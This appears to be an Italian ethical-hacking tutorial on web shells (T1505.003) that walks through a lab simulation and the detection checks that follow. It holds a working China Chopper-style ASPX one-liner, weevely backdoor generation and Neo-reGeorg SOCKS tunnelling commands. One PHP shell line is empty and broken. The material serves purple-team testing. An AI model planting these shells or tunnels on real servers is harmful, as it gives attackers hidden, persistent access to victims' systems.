Backdoor nel Web Server: Web Shell (T1505.003)

Una web shell è uno script lato server — scritto in ASP/ASPX, PHP, JSP o Lua — depositato su un web server esposto a Internet che consente all'attaccante di eseguire comandi, caricare file e navigare la rete interna come se disponesse di una shell interattiva remota. La tecnica ricade nella tattica Persistence (TA0003), perché l'obiettivo primario è mantenere un punto d'appoggio stabile nel perimetro compromesso, sopravvivendo a riavvii del servizio e rotazioni di credenziali.

I numeri raccontano la pervasività del problema: 31 gruppi APT documentati, 19 famiglie software dedicate, 12 campagne distinte. Dalla compromissione di server Exchange e SharePoint fino agli appliance VPN Ivanti Connect Secure e Versa Director, le web shell rappresentano il meccanismo di persistenza più versatile nel panorama delle intrusioni enterprise. Un singolo file da pochi kilobyte — talvolta una sola riga di codice nel caso di China Chopper — trasforma un server legittimo in un gateway persistente che parla HTTP, si mimetizza nel traffico web e sfugge ai controlli di rete tradizionali.

L'impatto spazia dallo spionaggio governativo al sabotaggio di infrastrutture critiche: campagne come la 2022 Ukraine Electric Power Attack e il FrostyGoop Incident dimostrano che le web shell fungono da trampolino per azioni distruttive su sistemi SCADA e OT.


L'obiettivo in laboratorio è simulare l'intera catena: upload della shell, stabilimento della persistenza e tunneling C2 attraverso il traffico HTTP. Questo consente di validare i controlli di detection e la segmentazione del web tier.

Fase 1 — Generazione della web shell. Il modo più realistico è partire da tool effettivamente usati in campagne documentate. China Chopper nella sua versione server-side è un one-liner ASPX che richiama eval() su un parametro POST. In laboratorio, puoi creare un file minimale di test:

echo '<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>' > shell.aspx

Per ambienti PHP, una variante altrettanto ridotta sfrutta system():

echo '' > cmd.php

Entrambe vanno depositate nella web root del server target — tipicamente C:\inetpub\wwwroot per IIS oppure /var/www/html per Apache/Nginx.

Fase 2 — Deploy tramite exploit simulato. Se il red team dispone di accesso a un Exchange lab, lo strumento weevely (open source) genera shell PHP offuscate con canale cifrato integrato. La sintassi per generare un agente è:

weevely generate /tmp/backdoor.php

Per scenari ASPX su IIS, SharPyShell (open source) offre una shell .NET offuscata con supporto per esecuzione in-memory. Il deploy avviene copiando l'agente nella directory accessibile via web.

Fase 3 — Tunneling C2. La campagna Cutting Edge ha dimostrato l'uso massiccio di web shell per tunneling. In lab puoi replicarlo con Neo-reGeorg (open source), fork moderno di reGeorg che stabilisce un tunnel SOCKS attraverso richieste HTTP. La generazione del payload avviene con:

python neoreg.py generate -k --httpcode 200

Il file risultante va depositato sul server target; lato attaccante si avvia il tunnel SOCKS locale con:

python neoreg.py -k -u

Validazione della detection. Dopo ogni fase, verifica che il SIEM registri: la creazione di file nella web root (Sysmon EventID 11), il processo w3wp.exe che genera cmd.exe o powershell.exe (Sysmon EventID 1), e il traffico HTTP anomalo verso il file appena creato. Se questi alert non scattano, il blue team ha un gap da colmare.

Un tool complementare per il purple teaming è Atomic Red Team (open source), che include test specifici per T1505.003 eseguibili con un singolo comando Invoke-AtomicTest.


Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.